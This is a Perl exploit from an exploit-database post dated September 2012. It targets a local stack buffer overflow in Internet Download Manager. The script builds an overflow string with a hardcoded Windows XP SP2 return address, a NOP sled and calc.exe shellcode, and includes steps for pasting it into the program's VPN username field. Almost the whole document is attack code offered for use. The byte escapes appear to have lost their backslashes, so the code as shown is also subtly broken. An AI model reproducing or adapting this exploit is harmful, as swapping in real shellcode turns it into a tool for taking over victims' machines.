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Internet Download Manager Buffer Overflow

Posted on 14 September 2012

#!/usr/bin/perl
# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0 _ __ __ __ 1
# 1 /'  __ /'__` / \__ /'__` 0
# 0 /\_,  ___ /\_/\_   ___  ,_/ /  _ ___ 1
# 1 /_/  /' _ ` / /_/_\_<_ /'___  /    /`'__ 0
# 0   / /    /   / \__/  \_  \_   / 1
# 1  \_ \_ \_\_   \____/ \____\ \__\ \____/ \_ 0
# 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1
# 1  \____/ >> Exploit database separated by exploit 0
# 0 /___/ type (local, remote, DoS, etc.) 1
# 1 1
# 0 [x] Official Website: http://www.1337day.com 0
# 1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
# 0 0
# 1 ========================================== 1
# 0 I'm Dark-Puzzle From Inj3ct0r TEAM 0
# 0 1
# 1 dark-puzzle[at]live[at]fr 0
# 0 ========================================== 1
# 1 White Hat 1
# 0 Independant Pentester 0
# 1 exploit coder/bug researcher 0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
# Title : Internet Download Manager All Versions - Stack Based Buffer Overflow Vulnerability.
# Author : Dark-Puzzle (Souhail Hammou)
# Type : Local
# Risk : Critical
# Vendor : Tonec Inc.
# Versions : All versions of IDM are Vulnerable .
# Tested On : Windows XP Service Pack 2 FR 32-bits .
# Date : 14 September 2012
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...

#Usage : Copy this script to idman.pl
#Execute : perl idman.pl
#Go to the file bof.txt , Select ALL , then Copy .
# After copying the whole line Go To Downloads ---> Options ----> Dial up / VPN ----> paste the line into the username field and let the password field blank then click Enter .
#French Version : Go to : Telechargement ---> Options ---> Internet ---> then Copy The Whole line from bof.txt and paste it into the username field and let the password field blank then click Enter .

# BETTER COPY THE CONTENT OF THE FILE USING NOTEPAD++

# Bingo ! Calc.exe will show up (P.S : If you're using other that WinXP SP2 Fr you'll have to change the return address with the compatible one with your system )

my $junk = "A" x 2313 ;
my $eip = "x5Dx38x82x7C" ; # For WinXP SP2 Only .
my $nops = "x90" x 5 ;
my $shellcode =
# Calc.exe Shellcode (19 bytes)
"xeBx02xBAxC7x93".
"xBFx77xFFxD2xCC".
"xE8xF3xFFxFFxFF".
"x63x61x6Cx63";

$payload= $junk.$eip.$nops.$shellcode;
open(myfile,'>bof.txt');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes
";

#Datasec Team .

 

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